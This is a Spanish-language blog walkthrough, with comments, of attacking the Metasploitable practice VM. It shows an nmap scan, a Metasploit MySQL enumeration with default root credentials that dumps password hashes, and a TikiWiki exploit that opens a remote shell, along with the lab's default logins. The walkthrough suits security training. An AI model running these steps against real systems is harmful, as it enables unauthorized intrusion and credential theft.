"Sumando y Construyendo Conocimiento"

Jugando con Metasploitable

Estimados, hace algunas semanas, la gente de Metasploit y Rapyd7, liberaron una nueva utilidad de apoyo al entrenamiento en el framework de explotación, llamado “Metasplotable”. El cual tiene como objetivo resolver la pregunta “Contra qué sistema puedo probar'?”.

 
Básicamente consiste en un Servidor con Linux (Ubuntu 8.04) con vulnerabilidades en sus distintas capas, es decir; SO, BDD, y Aplicación, lo cual permite ejecutar exploits sin remordimiento, ya que la herramienta fue creada para ello.
 
La máquina se puede descargar (en formato Vmware) desde el siguiente sitio.
 
Una vez descargada se puede ejecutar con cualquier producto Vmware (Player o Workstation). Al terminar el arranque de la máquina se debería desplegar de la siguiente manera:
 
Una vez iniciada es cosa de jugar. De manera de emular un entorno del tipo Black Box Testing (prueba sin conocimiento), se realizarán las siguientes Fases:
 
1.- Rolección de información.
2.- Enumeración
3.- Explotación (con metasploit)
 
 
1.- Recolección de información:
La siguiente tabla muestra la información recopilada con NMAP, a nivel de puerto, servicio y versión.
 

 
Starting Nmap 5.00 ( http://nmap.org ) at 2010-06-09 23:49 CLT
Interesting ports on 192.168.1.109:
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open ftp         ProFTPD 1.3.1
22/tcp   open ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open telnet      Linux telnetd
25/tcp   open smtp        Postfix smtpd
53/tcp   open domain      ISC BIND 9.4.2
80/tcp   open http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB
8009/tcp open ajp13?
8180/tcp open http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:80:6A:EA (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Network Distance: 1 hop
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux

2.- Enumeración:
Posteriormente se probó el acceso hacia el motor de base de datos mysql, con credenciales típicas root:root:
 

msf > use admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > set RHOST 192.168.1.109
RHOST => 192.168.1.109
msf auxiliary(mysql_enum) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_enum) > set PASSWORD root
PASSWORD => root
msf auxiliary(mysql_enum) > run
[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*] MySQL Version: 5.0.51a-3ubuntu5
[*] Compiled for the following OS: debian-linux-gnu
[*]  Architecture: i486
[*]  Server Hostname: metasploitable
[*]  Data Directory: /var/lib/mysql/
[*]  Logging of queries and logins: OFF
[*]  Old Password Hashing Algorithm OFF
[*]  Loading of local files: ON
[*]  Logins with old Pre-4.1 Passwords: OFF
[*]  Allow Use of symlinks for Database Files: YES
[*]  Allow Table Merge: YES
[*]  SSL Connections: Enabled
[*]  SSL CA Certificate: /etc/mysql/cacert.pem
[*]  SSL Key: /etc/mysql/server-key.pem
[*]  SSL Certificate: /etc/mysql/server-cert.pem
[*] Enumerating Accounts:
[*]  List of Accounts with Password Hashes:
[*]  User: root Host: localhost Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*]  User: root Host: ubuntu804-base Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*]  User: root Host: 127.0.0.1 Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*]         User: Host: localhost Password Hash:
[*]         User: Host: ubuntu804-base Password Hash:
[*]         User: debian-sys-maint Host: localhost Password Hash: *E07F0A7CCC0044345116513C989F45663C1F8347
[*]         User: root Host: % Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

 
En la tabla anterior se puede identificar el acceso al motor el dump de los hashes de autenticación.
 
3.- Explotación:
Luego se probó el acceso hacia el CMS Tikiwiki:
 

msf exploit(tikiwiki_graph_formula_exec) > exploit
[*] Started bind handler
[*] Attempting to obtain database credentials...
[*] The server returned            : 200 OK
[*] Server version                 : Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
[*] TikiWiki database informations :
db_tiki   : mysql
dbversion : 1.9
host_tiki : localhost
user_tiki : root
pass_tiki : root
dbs_tiki : tikiwiki195
[*] Attempting to execut our payload...
[*] Command shell session 3 opened (192.168.1.105:33010 -> 192.168.1.109:4444) at 2010-05-21 15:13:36 -0400
[*] The server returned            : 200 OK
[*] This server may not be vulnerable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
echo "0wn3d" > /var/www/tikiwiki/dump/0wn3d.txt

Como se puede apreciar, se logró el acceso y se generó una shell con la cual interactuamos en el sistema objetivo, se ejecutaron los comandos "uname -a", "id" y luego se creó un archivo. 
 
Posteriormente se puede comprobar la inclusión de nuestro archivo en el sistema remoto.
 
 
 
Conclusión:
 
Metasplotable es una gran utilidad para practicar pruebas en un contexto ético. Si bien acá se expusieron dos escenarios explotables (mysql y titikiwi) existen más!!! (ver resultados NMAP :-P). -Quizás Samba Symlink Transversal-
 
Los invito a probar y exponer los que faltan:
 
Saludos y gracias.
 

Comentarios

Imagen de asarmiento

@Jose: Las credenciales

@Jose:

Las credenciales son:

msfadmin:msfadmin

Saludos

Imagen de mmoreno

Buenisimo el Aporte Andres!

Buenisimo el Aporte Andres! :D ...downloading...

La maquina virtual me levanta

La maquina virtual me levanta pero no me asigna ninguna ip. Cual es la contraseña de root para configurarla manual o habilitando un DHCP lo soluciono